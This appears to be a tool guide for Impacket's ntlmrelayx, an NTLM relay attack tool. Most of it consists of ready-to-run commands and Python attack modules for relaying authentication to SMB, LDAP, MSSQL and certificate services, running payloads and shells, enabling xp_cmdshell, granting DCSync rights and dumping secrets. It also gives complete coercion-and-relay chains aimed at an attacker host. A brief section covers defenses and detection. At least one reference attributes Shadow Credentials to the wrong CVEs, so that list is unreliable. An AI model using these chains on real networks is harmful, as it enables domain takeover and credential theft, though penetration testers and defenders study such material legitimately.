NTLM Relay Attacks

Overview

NTLM relay attacks allow an attacker to intercept NTLM authentication attempts and relay them to other services, gaining unauthorized access. Impacket’s ntlmrelayx.py is a comprehensive tool for performing these attacks. Location: examples/ntlmrelayx.py

How NTLM Relay Works

Victim attempts to authenticate to attacker-controlled server
Attacker captures NTLM authentication without completing it
Attacker relays authentication to target server
Target accepts authentication from victim’s credentials
Attacker executes commands with victim’s privileges

Basic Usage

Simple SMB Relay

# Relay SMB authentication to target
ntlmrelayx.py -t smb://192.168.1.50 -smb2support

# Relay to multiple targets from file
ntlmrelayx.py -tf targets.txt -smb2support

# Relay with command execution
ntlmrelayx.py -t smb://192.168.1.50 -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -t smb://192.168.1.50 -smb2support

LDAP Relay

# Relay to LDAP for privilege escalation
ntlmrelayx.py -t ldap://dc.domain.local -smb2support

# Relay to LDAPS (SSL)
ntlmrelayx.py -t ldaps://dc.domain.local -smb2support

# Add computer account
ntlmrelayx.py -t ldap://dc.domain.local --add-computer

# Escalate privileges via ACL
ntlmrelayx.py -t ldap://dc.domain.local --escalate-user lowpriv

# Delegate access
ntlmrelayx.py -t ldap://dc.domain.local --delegate-access

Protocol Support

Relay Servers (Listeners)

ntlmrelayx can listen on multiple protocols:

SMB (TCP 445)
HTTP/HTTPS (TCP 80/443)
LDAP (TCP 389)
MSSQL (TCP 1433)
IMAP/IMAPS (TCP 143/993)
SMTP (TCP 25/587)
RPC (TCP 135)
WinRM (TCP 5985/5986)

# HTTP to SMB relay
ntlmrelayx.py -t smb://192.168.1.50

# SMB to LDAP relay
ntlmrelayx.py -t ldap://dc.domain.local -smb2support

# Multi-protocol listener
ntlmrelayx.py -t smb://192.168.1.50 -smb2support -http-port 8080

Relay Clients (Targets)

Relay authentication to:

SMB: File shares, admin access
LDAP/LDAPS: Directory services, privilege escalation
HTTP/HTTPS: Web applications, APIs
MSSQL: Database access
RPC: Remote procedure calls
SMTP: Email relay
IMAP: Email access

Attack Techniques

1. SMB Relay for Code Execution

# Execute command on target
ntlmrelayx.py -t smb://192.168.1.50 -c "powershell -enc <base64>"

# Upload and execute payload
ntlmrelayx.py -t smb://192.168.1.50 -e payload.exe

# Interactive shell
ntlmrelayx.py -t smb://192.168.1.50 -i
# Then connect: nc 127.0.0.1 11000

# Dump SAM database
ntlmrelayx.py -t smb://192.168.1.50 -smb2support

2. LDAP Relay for Privilege Escalation

# Escalate user to Domain Admin
ntlmrelayx.py -t ldaps://dc.domain.local --escalate-user lowpriv

# Add computer account (for RBCD)
ntlmrelayx.py -t ldaps://dc.domain.local --add-computer EVILPC$ --add-computer-pass Password123

# Configure RBCD on target
ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access --escalate-user TARGETPC$

# Shadow Credentials attack
ntlmrelayx.py -t ldaps://dc.domain.local --shadow-credentials --shadow-target admin

# Dump ADCS templates
ntlmrelayx.py -t ldaps://dc.domain.local --dump-adcs

3. SOCKS Proxy Mode

# Start SOCKS proxy for relayed connections
ntlmrelayx.py -tf targets.txt -socks -smb2support

# View active connections
ntlmrelayx> socks
# Protocol  Target          Username           AdminStatus    Port
# ------    ------          --------           -----------    ----
# SMB       192.168.1.50    DOMAIN\victim      TRUE           60001
# MSSQL     192.168.1.51    DOMAIN\dbadmin     TRUE           60002

# Use proxychains to leverage connections
proxychains smbexec.py DOMAIN/victim@192.168.1.50
proxychains secretsdump.py DOMAIN/victim@192.168.1.50

4. HTTP to SMB/LDAP Relay

# Coerce HTTP authentication (via Printer Bug, PetitPotam, etc.)
ntlmrelayx.py -t ldaps://dc.domain.local -smb2support

# Then trigger from victim:
# printerbug.py attacker-ip victim-ip
# or petitpotam.py attacker-ip victim-ip

# Capture and relay NetNTLM

5. ADCS (Active Directory Certificate Services) Attack

# Relay to ADCS for certificate
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Obtained certificate can be used for authentication

6. MSSQL Relay

# Relay to MSSQL server
ntlmrelayx.py -t mssql://sql.domain.local -q "SELECT @@version"

# Enable xp_cmdshell and execute
ntlmrelayx.py -t mssql://sql.domain.local \
  -q "EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC xp_cmdshell 'whoami'"

Configuration Options

Target Selection

# Single target
-t smb://192.168.1.50

# Multiple targets from file
-tf targets.txt
# Format: one target per line
# smb://192.168.1.50
# ldap://dc.domain.local
# mssql://sql.domain.local

# Target by protocol and IP
-t ldaps://192.168.1.100

Attack Options

# Command execution
-c "command to execute"

# Execute file
-e /path/to/payload.exe

# Interactive shell
-i

# SOCKS proxy
-socks

# Specific attack
--escalate-user USERNAME
--delegate-access
--add-computer
--shadow-credentials
--dump-laps
--dump-gmsa
--dump-adcs

Server Options

# SMB server
-smb2support              # Enable SMB2/3
--no-smb-server          # Disable SMB listener

# HTTP server
--no-http-server         # Disable HTTP listener
-http-port 8080          # Custom HTTP port
--serve-image /path      # Serve custom file

# LDAP
--no-ldap-server         # Disable LDAP listener

# Multirelay
--no-multirelay          # Disable multiple relay

Output Options

# Output file for hashes
-of hashes.txt

# Verbosity
-debug

# Logging
--logfile relay.log

Programming with Relay Components

Custom Relay Server

from impacket.examples.ntlmrelayx.servers.smbrelayserver import SMBRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor

# Configure relay
config = NTLMRelayxConfig()
config.setProtocolClients({'SMB': smbclient})
config.setTargets(TargetsProcessor())
config.setSMB2Support(True)
config.setExeFile('payload.exe')

# Start SMB relay server
server = SMBRelayServer(config)
server.start()

Custom Attack Module

from impacket.examples.ntlmrelayx.attacks import ProtocolAttack

class CustomSMBAttack(ProtocolAttack):
    PLUGIN_NAMES = ["SMB"]
    
    def run(self):
        """Execute custom attack"""
        # Access SMB connection
        smb_client = self.client
        
        # Enumerate shares
        shares = smb_client.listShares()
        for share in shares:
            print(f"Share: {share['shi1_netname'][:-1]}")
        
        # Upload file
        with open('payload.exe', 'rb') as f:
            smb_client.putFile('C$', '/Windows/Temp/payload.exe', f.read)
        
        # Execute via service
        from impacket.examples import serviceinstall
        service = serviceinstall.ServiceInstall(smb_client, 'payload.exe')
        service.install()
        service.uninstall()

Custom LDAP Attack

from impacket.examples.ntlmrelayx.attacks.ldapattack import LDAPAttack
import ldap3

class CustomLDAPAttack(LDAPAttack):
    def run(self):
        """Custom LDAP attack"""
        # Access LDAP connection
        ldap_client = self.client
        
        # Search for users
        ldap_client.search(
            'DC=domain,DC=local',
            '(&(objectClass=user)(adminCount=1))',
            attributes=['sAMAccountName', 'memberOf']
        )
        
        for entry in ldap_client.entries:
            print(f"Admin user: {entry.sAMAccountName}")
        
        # Modify ACL for privilege escalation
        from impacket.ldap import ldaptypes
        from impacket.uuid import string_to_bin
        
        # Add DCSync rights
        ace = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
        ace['Mask'] = ldaptypes.ACCESS_MASK()
        ace['Mask']['Mask'] = 0x00000100  # DS-Replication-Get-Changes
        ace['ObjectType'] = string_to_bin('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2')
        ace['InheritedObjectType'] = string_to_bin('00000000-0000-0000-0000-000000000000')
        ace['Sid'] = ldaptypes.LDAP_SID()
        ace['Sid'].fromCanonical('S-1-5-21-...')  # Target user SID
        
        # Apply ACE to domain object
        # ... (simplified)

Defenses Against Relay Attacks

SMB Signing

# Check if SMB signing is required
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt

# Relay will fail against targets requiring signing
ntlmrelayx.py -tf targets.txt -smb2support
# [*] Authenticating against smb://192.168.1.50 as DOMAIN/user SUCCEED
# [-] Signing is required, cannot relay to this host

LDAP Signing and Channel Binding

LDAPS with channel binding prevents relay:

# Relay to LDAP (may work)
ntlmrelayx.py -t ldap://dc.domain.local

# Relay to LDAPS (blocked by channel binding)
ntlmrelayx.py -t ldaps://dc.domain.local
# [-] LDAP channel binding is enforced, cannot relay

EPA (Extended Protection for Authentication)

HTTP services with EPA enabled resist relay attacks.

Mitigation Recommendations

Enable SMB Signing: Require signing on all systems
Disable NTLM: Use Kerberos exclusively where possible
LDAP Signing: Enforce LDAP signing and channel binding
Network Segmentation: Prevent lateral relay opportunities
Monitor: Detect NTLM authentication anomalies
Patch: Apply patches for coercion vulnerabilities (PrinterBug, PetitPotam)

Detection

Signs of relay attacks:

Multiple authentication attempts from single IP
NTLM authentication from unexpected sources
Privilege escalation without credential access
Anonymous SMB connections
Unusual LDAP modifications
Event IDs: 4624 (Logon), 4672 (Special Privileges), 4738 (User Account Changed)

Common Attack Chains

1. Coerce + Relay + Escalate

# Terminal 1: Start relay
ntlmrelayx.py -t ldaps://dc.domain.local --escalate-user lowpriv

# Terminal 2: Coerce authentication
printerbug.py domain.local/user:pass@target attacker-ip
# or
petitpotam.py -u user -p pass attacker-ip target

2. SOCKS + Dump Secrets

# Start SOCKS relay
ntlmrelayx.py -tf targets.txt -socks -smb2support

# Wait for victim authentication
# Check active sessions
ntlmrelayx> socks

# Dump secrets via SOCKS
proxychains secretsdump.py -no-pass DOMAIN/victim@192.168.1.50

3. ADCS Certificate Theft

# Relay to ADCS
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp \
  --adcs --template DomainController

# Coerce DC authentication
petitpotam.py attacker-ip dc.domain.local

# Obtain DC certificate
# Use certificate for DCSync

Best Practices

Test in lab first: Relay attacks can disrupt production
Understand target security: Check for signing requirements
Use SOCKS mode: More flexible than direct relay
Combine with coercion: PrinterBug, PetitPotam, DFSCoerce
Clean up: Remove added computer accounts, reset ACLs
Document: Keep records of compromised accounts

References

CVE-2019-1040: NTLM MIC bypass
CVE-2019-1019: NTLM session security bypass
PetitPotam (CVE-2021-36942)
PrinterBug (MS-RPRN RpcRemoteFindFirstPrinterChangeNotification)
Resource-Based Constrained Delegation (RBCD)
Shadow Credentials (CVE-2021-42278, CVE-2021-42287)

​Overview

​How NTLM Relay Works

​Basic Usage

​Simple SMB Relay

​LDAP Relay

​Protocol Support

​Relay Servers (Listeners)

​Relay Clients (Targets)

​Attack Techniques

​1. SMB Relay for Code Execution

​2. LDAP Relay for Privilege Escalation

​3. SOCKS Proxy Mode

​4. HTTP to SMB/LDAP Relay

​5. ADCS (Active Directory Certificate Services) Attack

​6. MSSQL Relay

​Configuration Options

​Target Selection

​Attack Options

​Server Options

​Output Options

​Programming with Relay Components

​Custom Relay Server

​Custom Attack Module

​Custom LDAP Attack

​Defenses Against Relay Attacks

​SMB Signing

​LDAP Signing and Channel Binding

​EPA (Extended Protection for Authentication)

​Mitigation Recommendations

​Detection

​Common Attack Chains

​1. Coerce + Relay + Escalate

​2. SOCKS + Dump Secrets

​3. ADCS Certificate Theft

​Best Practices

​References